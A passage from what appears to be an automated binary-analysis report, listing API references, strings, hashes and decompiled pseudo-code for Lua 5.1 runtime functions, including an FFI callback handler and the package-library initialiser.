lua_pushfstring.LUA5.1(?,>%s,00000000), ref: 1001145A
lua_tolstring.LUA5.1(?,000000FF,00000000,?,>%s,00000000), ref: 10011464
lua_pushvalue.LUA5.1(?,?,?,000000FF,00000000,?,>%s,00000000), ref: 10011475
lua_xmove.LUA5.1(?,00000000,00000001,?,?,?,000000FF,00000000,?,>%s,00000000), ref: 1001147E
lua_getinfo.LUA5.1(00000000,00000000,?), ref: 1001148D
luaL_argerror.LUA5.1(?,?,invalid option), ref: 100114A7
lua_createtable.LUA5.1(?,00000000,00000002), ref: 100114BC
strchr.MSVCRT ref: 100114CA
strchr.MSVCRT ref: 10011529
strchr.MSVCRT ref: 10011548
strchr.MSVCRT ref: 10011567
strchr.MSVCRT ref: 10011596
strchr.MSVCRT ref: 100115B1

Strings

what, xrefs: 10011518
name, xrefs: 10011575
nups, xrefs: 10011556
>%s, xrefs: 10011454
namewhat, xrefs: 10011585
activelines, xrefs: 1001159F
function or level expected, xrefs: 100115DA
lastlinedefined, xrefs: 10011508
linedefined, xrefs: 100114F8
func, xrefs: 100115BB
currentline, xrefs: 10011537
short_src, xrefs: 100114E8
flnSu, xrefs: 100113DE
invalid option, xrefs: 1001149D
source, xrefs: 100114D8

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: strchr$lua_type.$L_argerror.L_optlstring.lua_createtable.lua_getinfo.lua_getstack.lua_isnumber.lua_pushfstring.lua_pushnil.lua_pushvalue.lua_tointeger.lua_tolstring.lua_tothread.lua_xmove.
String ID: >%s$activelines$currentline$flnSu$func$function or level expected$invalid option$lastlinedefined$linedefined$name$namewhat$nups$short_src$source$what
API String ID: 1244025024-173008909
Opcode ID: 2180022b42c24f45a69d383a95ea785f7e400827b386c4485b2d8565fbf1f821
Instruction ID: a5668306caa951a443f434f69463e46911263ed492c58660a3578b966535d9d0
Opcode Fuzzy Hash: 2180022b42c24f45a69d383a95ea785f7e400827b386c4485b2d8565fbf1f821
Instruction Fuzzy Hash: 9551A7A99046107BE116D6609C43FFF32DCDFC6685F044118FE059A143FA7AFE8642B6

Uniqueness

Uniqueness Score: -1.00%

Function 005E14C0, Relevance: 59.9, APIs: 27, Strings: 7, Instructions: 375
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E005E14C0(signed int* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v12;
				signed int _v16;
				signed short _t105;
				signed int _t106;
				signed int _t109;
				intOrPtr _t114;
				signed int _t125;
				intOrPtr _t129;
				signed int _t132;
				void* _t135;

				_t129 = _a16;
				_push( *((intOrPtr*)(_t129 + 0x3c)));
				_push(0xffffd8f0);
				_push( *((intOrPtr*)(_t129 + 0x38)));
				L005E3F86();
				_t105 =  *(_t129 + 0x2c);
				_t135 = (_t132 & 0xffffffc0) - 0x34 + 0xc;
				_t125 = 0;
				_v16 = _t105;
				if(_t105 > 0) {
					_t114 = _a12;
					do {
						_t109 =  *( *((intOrPtr*)(_t129 + 0x30)) + _t125 * 4);
						if(_t109 > 0x10) {
							L25:
							_push("alien: unknown parameter type in callback");
							_push( *((intOrPtr*)(_t129 + 0x38)));
							L005E3F26();
							goto L26;
						} else {
							switch( *((intOrPtr*)(_t109 * 4 +  &M005E1910))) {
								case 0:
									__eax =  *(__ebx + __edi * 4);
									_v12 =  *__eax;
									asm("fild dword [esp+0x38]");
									goto L5;
								case 1:
									__edx =  *( *(__ebx + __edi * 4)) & 0x0000ffff;
									__eax =  *(__esi + 0x38);
									_v12 =  *( *(__ebx + __edi * 4)) & 0x0000ffff;
									__esp = __esp - 8;
									asm("fild dword [esp+0x40]");
									 *__esp = __fp0;
									_push(__eax);
									L005E3F80();
									__esp =  &(__esp[0xc]);
									goto L27;
								case 2:
									__edx =  *(__ebx + __edi * 4);
									asm("fild dword [edx]");
									__eax =  *(__esi + 0x38);
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__eax);
									L005E3F80();
									__esp =  &(__esp[0xc]);
									goto L27;
								case 3:
									__edx =  *( *(__ebx + __edi * 4));
									asm("fild dword [ecx]");
									if( *( *(__ebx + __edi * 4)) < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__eax =  *(__esi + 0x38);
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__eax);
									L005E3F80();
									__esp =  &(__esp[0xc]);
									goto L27;
								case 4:
									__eax =  *(__ebx + __edi * 4);
									asm("fild dword [eax]");
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push( *(__esi + 0x38));
									L005E3F80();
									__esp =  &(__esp[0xc]);
									goto L27;
								case 5:
									goto L25;
								case 6:
									__fp0 =  *( *(__ebx + __edi * 4));
									goto L5;
								case 7:
									__eax =  *(__ebx + __edi * 4);
									__fp0 =  *__eax;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push( *(__esi + 0x38));
									L005E3F80();
									__esp =  &(__esp[0xc]);
									goto L27;
								case 8:
									__eax =  *(__ebx + __edi * 4);
									_v12 =  *__eax & 0x000000ff;
									asm("fild dword [esp+0x38]");
									goto L5;
								case 9:
									_v12 =  *((char*)( *((intOrPtr*)(_t114 + _t125 * 4))));
									asm("fild dword [esp+0x38]");
									goto L5;
								case 0xa:
									__edx =  *(__ebx + __edi * 4);
									__eax =  *( *(__ebx + __edi * 4));
									_push(__eax);
									_push( *(__esi + 0x38));
									L005E3EF0();
									goto L26;
								case 0xb:
									__eax =  *( *(__ebx + __edi * 4));
									if(__eax == 0) {
										__eax =  *(__esi + 0x38);
										_push(__eax);
										L005E3F74();
										__esp =  &(__esp[4]);
									} else {
										__edx =  *(__esi + 0x38);
										_push(__eax);
										_push( *(__esi + 0x38));
										L005E3F7A();
										L26:
										_t135 = _t135 + 8;
									}
									goto L27;
								case 0xc:
									__edx =  *(__ebx + __edi * 4);
									__eax =  *( *(__ebx + __edi * 4));
									asm("fild dword [eax]");
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push( *(__esi + 0x38));
									L005E3F80();
									__esp =  &(__esp[0xc]);
									goto L27;
								case 0xd:
									__edx =  *(__ebx + __edi * 4);
									__eax =  *( *(__ebx + __edi * 4));
									asm("fild dword [eax]");
									if( *__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									L5:
									_t139 = _t135 - 8;
									 *_t139 = _t144;
									_push( *((intOrPtr*)(_t129 + 0x38)));
									L005E3F80();
									_t135 = _t139 + 0xc;
									goto L27;
								case 0xe:
									__eax =  *(__ebx + __edi * 4);
									__edx =  *( *( *(__ebx + __edi * 4))) & 0x000000ff;
									__eax =  *(__esi + 0x38);
									_v12 =  *( *( *(__ebx + __edi * 4))) & 0x000000ff;
									__esp = __esp - 8;
									asm("fild dword [esp+0x40]");
									 *__esp = __fp0;
									_push(__eax);
									L005E3F80();
									__esp =  &(__esp[0xc]);
									goto L27;
								case 0xf:
									__edx =  *( *(__ebx + __edi * 4));
									__fp0 =  *( *( *(__ebx + __edi * 4)));
									__eax =  *(__esi + 0x38);
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__eax);
									L005E3F80();
									__esp =  &(__esp[0xc]);
									goto L27;
							}
						}
						L27:
						_t125 = _t125 + 1;
					} while (_t125 < _v16);
					_t105 = _v16;
				}
				_push(1);
				_push(_t105);
				_push( *((intOrPtr*)(_t129 + 0x38)));
				L005E3F6E();
				_t106 =  *(_t129 + 0xc);
				if(_t106 > 0xc) {
					_push("alien: unknown return type in callback");
					_push( *((intOrPtr*)(_t129 + 0x38)));
					L005E3F26();
					goto L49;
				} else {
					switch( *((intOrPtr*)(_t106 * 4 +  &M005E1954))) {
						case 0:
							_push(0xffffffff);
							_push( *((intOrPtr*)(_t129 + 0x38)));
							L005E3F68();
							_t108 = E005E45C0( *((intOrPtr*)(_t129 + 0x38)), _t144);
							 *_a8 = _t108;
							return _t108;
							goto L50;
						case 1:
							__edx =  *(__esi + 0x38);
							_push(0xffffffff);
							_push( *(__esi + 0x38));
							L005E3F68();
							asm("fnstcw word [esp+0x3c]");
							__eax = _v16 & 0x0000ffff;
							__edx = _a8;
							__esp =  &(__esp[8]);
							__eax = _v16 & 0x0000ffff | 0x00000c00;
							_v12 = __eax;
							asm("fldcw word [esp+0x38]");
							asm("fistp dword [esp+0x38]");
							 *_a8 = _v12 & 0x0000ffff;
							asm("fldcw word [esp+0x34]");
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __eax;
							goto L50;
						case 2:
							__edx =  *(__esi + 0x38);
							_push(0xffffffff);
							_push( *(__esi + 0x38));
							goto L33;
						case 3:
							__eax =  *(__esi + 0x38);
							_push(0xffffffff);
							_push( *(__esi + 0x38));
							L005E3F68();
							asm("fnstcw word [esp+0x3c]");
							__eax = _v16 & 0x0000ffff;
							__edx = _a8;
							__esp =  &(__esp[8]);
							__eax = _v16 & 0x0000ffff | 0x00000c00;
							_v12 = __eax;
							asm("fldcw word [esp+0x38]");
							asm("fistp qword [esp+0x38]");
							 *_a8 = _v12;
							asm("fldcw word [esp+0x34]");
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __eax;
							goto L50;
						case 4:
							__eax =  *(__esi + 0x38);
							_push(0xffffffff);
							_push(__eax);
							L33:
							L005E3F68();
							__esp =  &(__esp[8]);
							__eax = E005E45C0(__eax, __fp0);
							 *_a8 = __eax;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __eax;
							goto L50;
						case 5:
							__eax =  *(__esi + 0x38);
							_push(0xffffffff);
							_push( *(__esi + 0x38));
							L005E3F68();
							asm("fnstcw word [esp+0x3c]");
							__eax = _v16 & 0x0000ffff;
							__edx = _a8;
							__esp =  &(__esp[8]);
							__eax = _v16 & 0x0000ffff | 0x00000c00;
							_v12 = __eax;
							asm("fldcw word [esp+0x38]");
							asm("fistp qword [esp+0x38]");
							 *_a8 = _v12;
							asm("fldcw word [esp+0x34]");
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __eax;
							goto L50;
						case 6:
							L49:
							return _t106;
							goto L50;
						case 7:
							__eax =  *(__esi + 0x38);
							_push(0xffffffff);
							_push(__eax);
							L005E3F68();
							 *_a8 = __fp0;
							__esp =  &(__esp[8]);
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __eax;
							goto L50;
						case 8:
							__edx =  *(__esi + 0x38);
							_push(0xffffffff);
							_push( *(__esi + 0x38));
							L005E3F68();
							__eax = _a8;
							 *__eax = __fp0;
							__esp =  &(__esp[8]);
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __eax;
							goto L50;
						case 9:
							__eax =  *(__esi + 0x38);
							_push(0xffffffff);
							_push(__eax);
							L005E3F62();
							__edx = _a8;
							 *_a8 = __al & 0x000000ff;
							__esp =  &(__esp[8]);
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __eax;
							goto L50;
						case 0xa:
							__eax =  *(__esi + 0x38);
							_push(0xffffffff);
							_push(__eax);
							L005E3F62();
							__edx = _a8;
							 *_a8 = __al;
							__esp =  &(__esp[8]);
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __eax;
							goto L50;
						case 0xb:
							_push(0xffffffff);
							_push( *(__esi + 0x38));
							L005E3F50();
							__edx =  *(__esi + 0x38);
							__esp =  &(__esp[8]);
							if(__eax == 0) {
								_push(0);
								_push(0xffffffff);
								_push(__edx);
								L005E3F5C();
								__esp =  &(__esp[0xc]);
								 *_a8 = __eax;
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return __eax;
							} else {
								_push(0xffffffff);
								_push(__edx);
								L005E3F0E();
								 *_a8 = __eax;
								__esp =  &(__esp[8]);
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return __eax;
							}
							goto L50;
						case 0xc:
							__edx =  *(__esi + 0x38);
							_push(0xffffffff);
							_push( *(__esi + 0x38));
							L005E3F56();
							__esp =  &(__esp[8]);
							if(__eax == 0) {
								__edx =  *(__esi + 0x38);
								_push(0xffffffff);
								_push( *(__esi + 0x38));
								L005E3F0E();
								 *_a8 = __eax;
								__esp =  &(__esp[8]);
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return __eax;
							} else {
								__eax =  *(__esi + 0x38);
								_push(0);
								_push(0xffffffff);
								_push(__eax);
								L005E3F5C();
								__esp =  &(__esp[0xc]);
								 *_a8 = __eax;
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return __eax;
							}
							goto L50;
					}
				}
				L50:
			}

0x005e14cb
0x005e14d5
0x005e14d6
0x005e14db
0x005e14dc
0x005e14e1
0x005e14e4
0x005e14e7
0x005e14eb
0x005e14ef
0x005e14f5
0x005e1500
0x005e1503
0x005e1509
0x005e16b6
0x005e16b9
0x005e16be
0x005e16bf
0x00000000
0x005e150f
0x005e150f
0x00000000
0x005e154b
0x005e1551
0x005e1555
0x00000000
0x00000000
0x005e1596
0x005e1599
0x005e159c
0x005e15a0
0x005e15a3
0x005e15a7
0x005e15aa
0x005e15ab
0x005e15b0
0x00000000
0x00000000
0x005e1577
0x005e157a
0x005e157c
0x005e157f
0x005e1582
0x005e1585
0x005e1586
0x005e158b
0x00000000
0x00000000
0x005e15bb
0x005e15bd
0x005e15c1
0x005e15c3
0x005e15c3
0x005e15c9
0x005e15cc
0x005e15cf
0x005e15d2
0x005e15d3
0x005e15d8
0x00000000
0x00000000
0x005e155b
0x005e155e
0x005e1563
0x005e1566
0x005e1569
0x005e156a
0x005e156f
0x00000000
0x00000000
0x00000000
0x00000000
0x005e15e3
0x00000000
0x00000000
0x005e15ea
0x005e15ed
0x005e15f2
0x005e15f5
0x005e15f8
0x005e15f9
0x005e15fe
0x00000000
0x00000000
0x005e153b
0x005e1541
0x005e1545
0x00000000
0x00000000
0x005e151c
0x005e1520
0x00000000
0x00000000
0x005e1606
0x005e1609
0x005e160e
0x005e160f
0x005e1610
0x00000000
0x00000000
0x005e1696
0x005e169a
0x005e16a8
0x005e16ab
0x005e16ac
0x005e16b1
0x005e169c
0x005e169c
0x005e169f
0x005e16a0
0x005e16a1
0x005e16c4
0x005e16c4
0x005e16c4
0x00000000
0x00000000
0x005e161a
0x005e161d
0x005e161f
0x005e1624
0x005e1627
0x005e162a
0x005e162b
0x005e1630
0x00000000
0x00000000
0x005e1638
0x005e163b
0x005e163f
0x005e1643
0x005e1649
0x005e1649
0x005e1524
0x005e1527
0x005e152a
0x005e152d
0x005e152e
0x005e1533
0x00000000
0x00000000
0x005e1654
0x005e1659
0x005e165c
0x005e165f
0x005e1663
0x005e1666
0x005e166a
0x005e166d
0x005e166e
0x005e1673
0x00000000
0x00000000
0x005e167b
0x005e167d
0x005e167f
0x005e1682
0x005e1685
0x005e1688
0x005e1689
0x005e168e
0x00000000
0x00000000
0x005e150f
0x005e16c7
0x005e16c7
0x005e16ca
0x005e16d4
0x005e16d4
0x005e16db
0x005e16dd
0x005e16de
0x005e16df
0x005e16e4
0x005e16ed
0x005e18f9
0x005e18fe
0x005e18ff
0x00000000
0x005e16f3
0x005e16f3
0x00000000
0x005e16fd
0x005e16ff
0x005e1700
0x005e1708
0x005e1713
0x005e171b
0x00000000
0x00000000
0x005e1743
0x005e1746
0x005e1748
0x005e1749
0x005e174e
0x005e1752
0x005e1757
0x005e175a
0x005e175d
0x005e1762
0x005e1766
0x005e176a
0x005e1776
0x005e1778
0x005e177c
0x005e177d
0x005e177e
0x005e1782
0x00000000
0x00000000
0x005e173b
0x005e173e
0x005e1740
0x00000000
0x00000000
0x005e17bf
0x005e17c2
0x005e17c4
0x005e17c5
0x005e17ca
0x005e17ce
0x005e17d3
0x005e17d6
0x005e17d9
0x005e17de
0x005e17e2
0x005e17e6
0x005e17ee
0x005e17f0
0x005e17f4
0x005e17f5
0x005e17f6
0x005e17fa
0x00000000
0x00000000
0x005e171c
0x005e171f
0x005e1721
0x005e1722
0x005e1722
0x005e1727
0x005e172a
0x005e1732
0x005e1734
0x005e1735
0x005e1736
0x005e173a
0x00000000
0x00000000
0x005e1783
0x005e1786
0x005e1788
0x005e1789
0x005e178e
0x005e1792
0x005e1797
0x005e179a
0x005e179d
0x005e17a2
0x005e17a6
0x005e17aa
0x005e17b2
0x005e17b4
0x005e17b8
0x005e17b9
0x005e17ba
0x005e17be
0x00000000
0x00000000
0x005e1907
0x005e190d
0x00000000
0x00000000
0x005e1835
0x005e1838
0x005e183a
0x005e183b
0x005e1843
0x005e1845
0x005e1848
0x005e1849
0x005e184a
0x005e184e
0x00000000
0x00000000
0x005e184f
0x005e1852
0x005e1854
0x005e1855
0x005e185a
0x005e185d
0x005e185f
0x005e1862
0x005e1863
0x005e1864
0x005e1868
0x00000000
0x00000000
0x005e17fb
0x005e17fe
0x005e1800
0x005e1801
0x005e1806
0x005e180c
0x005e180e
0x005e1811
0x005e1812
0x005e1813
0x005e1817
0x00000000
0x00000000
0x005e1818
0x005e181b
0x005e181d
0x005e181e
0x005e1823
0x005e1829
0x005e182b
0x005e182e
0x005e182f
0x005e1830
0x005e1834
0x00000000
0x00000000
0x005e186c
0x005e186e
0x005e186f
0x005e1874
0x005e1877
0x005e187c
0x005e1895
0x005e1897
0x005e1899
0x005e189a
0x005e18a2
0x005e18a5
0x005e18a7
0x005e18a8
0x005e18a9
0x005e18ad
0x005e187e
0x005e187e
0x005e1880
0x005e1881
0x005e1889
0x005e188b
0x005e188e
0x005e188f
0x005e1890
0x005e1894
0x005e1894
0x00000000
0x00000000
0x005e18ae
0x005e18b1
0x005e18b3
0x005e18b4
0x005e18b9
0x005e18be
0x005e18dc
0x005e18df
0x005e18e1
0x005e18e2
0x005e18ea
0x005e18ec
0x005e18ef
0x005e18f0
0x005e18f1
0x005e18f5
0x005e18c0
0x005e18c0
0x005e18c3
0x005e18c5
0x005e18c7
0x005e18c8
0x005e18d0
0x005e18d3
0x005e18d5
0x005e18d6
0x005e18d7
0x005e18db
0x005e18db
0x00000000
0x00000000
0x005e16f3
0x00000000

APIs

lua_rawgeti.LUA5.1(?,FFFFD8F0,?), ref: 005E14DC
lua_pushnumber.LUA5.1(?), ref: 005E152E
lua_pushnumber.LUA5.1(?), ref: 005E156A
lua_pushnumber.LUA5.1(?), ref: 005E1586
lua_pushnumber.LUA5.1(?), ref: 005E15AB
lua_pushnumber.LUA5.1(?), ref: 005E15D3
lua_pushnumber.LUA5.1(?), ref: 005E15F9
lua_pushstring.LUA5.1(?,00000000), ref: 005E1610
lua_pushnumber.LUA5.1(?,?,00000000), ref: 005E162B
lua_pushnumber.LUA5.1(?), ref: 005E166E
lua_pushnumber.LUA5.1(?), ref: 005E1689
lua_pushlightuserdata.LUA5.1(?,00000000,?,00000000), ref: 005E16A1
luaL_error.LUA5.1(?,alien: unknown parameter type in callback), ref: 005E16BF
lua_call.LUA5.1(?,?,00000001), ref: 005E16DF
lua_tonumber.LUA5.1(?,000000FF), ref: 005E1700
lua_tonumber.LUA5.1(?,000000FF), ref: 005E1722
lua_tonumber.LUA5.1(?,000000FF), ref: 005E1749
lua_tonumber.LUA5.1(?,000000FF,?,000000FF), ref: 005E1789
lua_tonumber.LUA5.1(?,000000FF), ref: 005E17C5
lua_tointeger.LUA5.1(?,000000FF), ref: 005E1801
lua_tointeger.LUA5.1(?,000000FF), ref: 005E181E
lua_tonumber.LUA5.1(?,000000FF), ref: 005E183B
lua_tonumber.LUA5.1(?,000000FF), ref: 005E1855
lua_isuserdata.LUA5.1(?,000000FF), ref: 005E186F
lua_touserdata.LUA5.1(?,000000FF), ref: 005E1881

Strings

alien: unknown parameter type in callback, xrefs: 005E16B9
Qb(, xrefs: 005E16BE
Pc(, xrefs: 005E16FF
P(', xrefs: 005E183A
P\', xrefs: 005E1800
P?', xrefs: 005E181D
PA(, xrefs: 005E1721

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_tonumber.$lua_tointeger.$L_error.lua_call.lua_isuserdata.lua_pushlightuserdata.lua_pushstring.lua_rawgeti.lua_touserdata.
String ID: P('$P?'$PA($P\'$Pc($Qb($alien: unknown parameter type in callback
API String ID: 4018874596-1800796251
Opcode ID: fd0e7be1afe83d2fa358424c1d3eb79c59288ecb7f131bba81dab1def30ff9ab
Instruction ID: d3767e7e5eeba16d41fc518cfd3633e4ff488eebc8e7cbe1e1ff1879e4a9f043
Opcode Fuzzy Hash: fd0e7be1afe83d2fa358424c1d3eb79c59288ecb7f131bba81dab1def30ff9ab
Instruction Fuzzy Hash: 72C11531A08681DBC714EF56E88482ABBF4FF85321F544AADF8E68B790D735E850C752

Uniqueness

Uniqueness Score: -1.00%

Function 10016B60, Relevance: 59.6, APIs: 19, Strings: 15, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10016B60(void* __ebx, void* __ecx, void* __edi, void* __eflags, void* __fp0, intOrPtr _a4) {
				intOrPtr _t10;
				intOrPtr* _t27;
				void* _t29;
				void* _t31;
				void* _t34;
				void* _t35;
				void* _t42;

				_t42 = __fp0;
				_t39 = __eflags;
				_t29 = __ecx;
				_t33 = _a4;
				E1000F310(__eflags, _a4, "_LOADLIB");
				E10001A20(_t33, E10016CB0, 0);
				E10001DD0(_t29, _t39, _t33, 0xfffffffe, "__gc");
				E1000F6F0(_t33, "package", 0x10017a40);
				E100013D0(_t39, _t33, 0xffffffff);
				E10001300(_t33, 0xffffd8ef);
				E10001C70(_t33, 0, 4);
				_t10 =  *0x10017a70; // 0x10016700
				_t35 = _t34 + 0x48;
				_t40 = _t10;
				if(_t10 != 0) {
					_t31 = 1;
					_t27 = 0x10017a70;
					do {
						E10001A20(_t33, _t10, 0);
						E10001EB0(_t40, _t33, 0xfffffffe, _t31);
						_t2 = _t27 + 4; // 0x100163a0
						_t10 =  *_t2;
						_t27 = _t27 + 4;
						_t35 = _t35 + 0x18;
						_t31 = _t31 + 1;
						_t41 = _t10;
					} while (_t10 != 0);
				}
				E10001DD0(_t29, _t41, _t33, 0xfffffffe, "loaders");
				E10016CF0(_t33, "path", "LUA_PATH", ".\\?.lua;!\\lua\\?.lua;!\\lua\\?\\init.lua;!\\?.lua;!\\?\\init.lua");
				E10016CF0(_t33, "cpath", "LUA_CPATH", ".\\?.dll;!\\?.dll;!\\loadall.dll");
				E10001930(_t33, "\\\n;\n?\n!\n-", 9);
				E10001DD0(_t29, _t41, _t33, 0xfffffffe, "config");
				E1000F900(_t29, _t41, _t42, _t33, 0xffffd8f0, "_LOADED", 2);
				E10001DD0(_t29, _t41, _t33, 0xfffffffe, "loaded");
				E10001C70(_t33, 0, 0);
				E10001DD0(_t29, _t41, _t33, 0xfffffffe, "preload");
				E100013D0(_t41, _t33, 0xffffd8ee);
				E1000F6F0(_t33, 0, 0x10017a58);
				E10001160(_t33, 0xfffffffe);
				return 1;
			}

0x10016b60
0x10016b60
0x10016b60
0x10016b61
0x10016b6b
0x10016b78
0x10016b85
0x10016b95
0x10016b9d
0x10016ba8
0x10016bb2
0x10016bb7
0x10016bbc
0x10016bbf
0x10016bc1
0x10016bc5
0x10016bca
0x10016bcf
0x10016bd3
0x10016bdc
0x10016be1
0x10016be1
0x10016be4
0x10016be7
0x10016bea
0x10016beb
0x10016beb
0x10016bf0
0x10016bf9
0x10016c0e
0x10016c23
0x10016c30
0x10016c3d
0x10016c52
0x10016c5f
0x10016c69
0x10016c76
0x10016c81
0x10016c8e
0x10016c99
0x10016ca7

APIs

luaL_newmetatable.LUA5.1(?,_LOADLIB), ref: 10016B6B

Part of subcall function 1000F310: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 1000F321
Part of subcall function 1000F310: lua_type.LUA5.1(?,000000FF,?,FFFFD8F0,?), ref: 1000F329

lua_pushcclosure.LUA5.1(?,10016CB0,00000000,?,_LOADLIB), ref: 10016B78
lua_setfield.LUA5.1(?,000000FE,__gc,?,10016CB0,00000000,?,_LOADLIB), ref: 10016B85

Part of subcall function 10001DD0: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001DFA

luaL_register.LUA5.1(?,package,10017A40,?,000000FE,__gc,?,10016CB0,00000000,?,_LOADLIB), ref: 10016B95

Part of subcall function 1000F6F0: luaL_openlib.LUA5.1(?,?,?,00000000), ref: 1000F701

lua_pushvalue.LUA5.1(?,000000FF,?,package,10017A40,?,000000FE,__gc,?,10016CB0,00000000,?,_LOADLIB), ref: 10016B9D
lua_replace.LUA5.1(?,FFFFD8EF,?,000000FF,?,package,10017A40,?,000000FE,__gc,?,10016CB0,00000000,?,_LOADLIB), ref: 10016BA8
lua_createtable.LUA5.1(?,00000000,00000004,?,FFFFD8EF,?,000000FF,?,package,10017A40,?,000000FE,__gc,?,10016CB0,00000000), ref: 10016BB2
lua_pushcclosure.LUA5.1(?,10016700,00000000), ref: 10016BD3
lua_rawseti.LUA5.1(?,000000FE,00000001,?,10016700,00000000), ref: 10016BDC
lua_setfield.LUA5.1(?,000000FE,loaders), ref: 10016BF9
lua_pushlstring.LUA5.1(?,\;?!-,00000009,?,cpath,LUA_CPATH,.\?.dll;!\?.dll;!\loadall.dll,?,path,LUA_PATH,.\?.lua;!\lua\?.lua;!\lua\?\init.lua;!\?.lua;!\?\init.lua,?,000000FE,loaders), ref: 10016C30
lua_setfield.LUA5.1(?,000000FE,config,?,\;?!-,00000009,?,cpath,LUA_CPATH,.\?.dll;!\?.dll;!\loadall.dll,?,path,LUA_PATH,.\?.lua;!\lua\?.lua;!\lua\?\init.lua;!\?.lua;!\?\init.lua,?,000000FE), ref: 10016C3D
luaL_findtable.LUA5.1(?,FFFFD8F0,_LOADED,00000002), ref: 10016C52
lua_setfield.LUA5.1(?,000000FE,loaded,?,FFFFD8F0,_LOADED,00000002), ref: 10016C5F
lua_createtable.LUA5.1(?,00000000,00000000,?,000000FE,loaded,?,FFFFD8F0,_LOADED,00000002), ref: 10016C69
lua_setfield.LUA5.1(?,000000FE,preload,?,00000000,00000000,?,000000FE,loaded,?,FFFFD8F0,_LOADED,00000002), ref: 10016C76
lua_pushvalue.LUA5.1(?,FFFFD8EE,?,000000FE,preload,?,00000000,00000000,?,000000FE,loaded,?,FFFFD8F0,_LOADED,00000002), ref: 10016C81
luaL_register.LUA5.1(?,00000000,10017A58,?,FFFFD8EE,?,000000FE,preload,?,00000000,00000000,?,000000FE,loaded,?,FFFFD8F0), ref: 10016C8E
lua_settop.LUA5.1(?,000000FE), ref: 10016C99

Strings

__gc, xrefs: 10016B7D
preload, xrefs: 10016C6E
LUA_CPATH, xrefs: 10016C18
path, xrefs: 10016C08
loaders, xrefs: 10016BF1
config, xrefs: 10016C35
.\?.dll;!\?.dll;!\loadall.dll, xrefs: 10016C13
.\?.lua;!\lua\?.lua;!\lua\?\init.lua;!\?.lua;!\?\init.lua, xrefs: 10016BFE
_LOADLIB, xrefs: 10016B65
cpath, xrefs: 10016C1D
package, xrefs: 10016B8F
\;?!-, xrefs: 10016C2A
loaded, xrefs: 10016C57
_LOADED, xrefs: 10016C47
LUA_PATH, xrefs: 10016C03

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_setfield.$L_register.lua_createtable.lua_pushcclosure.lua_pushvalue.$L_findtable.L_newmetatable.L_openlib.S_newlstr.lua_getfield.lua_pushlstring.lua_rawseti.lua_replace.lua_settop.lua_type.
String ID: .\?.dll;!\?.dll;!\loadall.dll$.\?.lua;!\lua\?.lua;!\lua\?\init.lua;!\?.lua;!\?\init.lua$LUA_CPATH$LUA_PATH$\;?!-$_LOADED$_LOADLIB$__gc$config$cpath$loaded$loaders$package$path$preload
API String ID: 2076105280-613600958
Opcode ID: fccfe7507e4015a09428cb39546fa03827132bc0860453d08b7dfdff75e11706
Instruction ID: 45d2f80ce8b1da238f6b06904cf8ead03f74a1aecb3a029d8e9d8836a334715c
Opcode Fuzzy Hash: fccfe7507e4015a09428cb39546fa03827132bc0860453d08b7dfdff75e11706
Instruction Fuzzy Hash: 3B21347868A52135F402E2286E02FDF1089CF976E5F600310B6267C5DB9FA9F6C251AF

Uniqueness

Uniqueness Score: -1.00%

Function 10011CF0, Relevance: 58.0, APIs: 25, Strings: 8, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E10011CF0(void* __eflags, void* __fp0) {
				void* _t26;
				void* _t29;
				signed int _t30;
				void* _t35;
				signed int _t43;
				intOrPtr _t45;
				void* _t51;
				void* _t52;
				signed int _t55;
				signed int _t56;
				void* _t63;
				void* _t79;
				void* _t80;
				intOrPtr _t81;
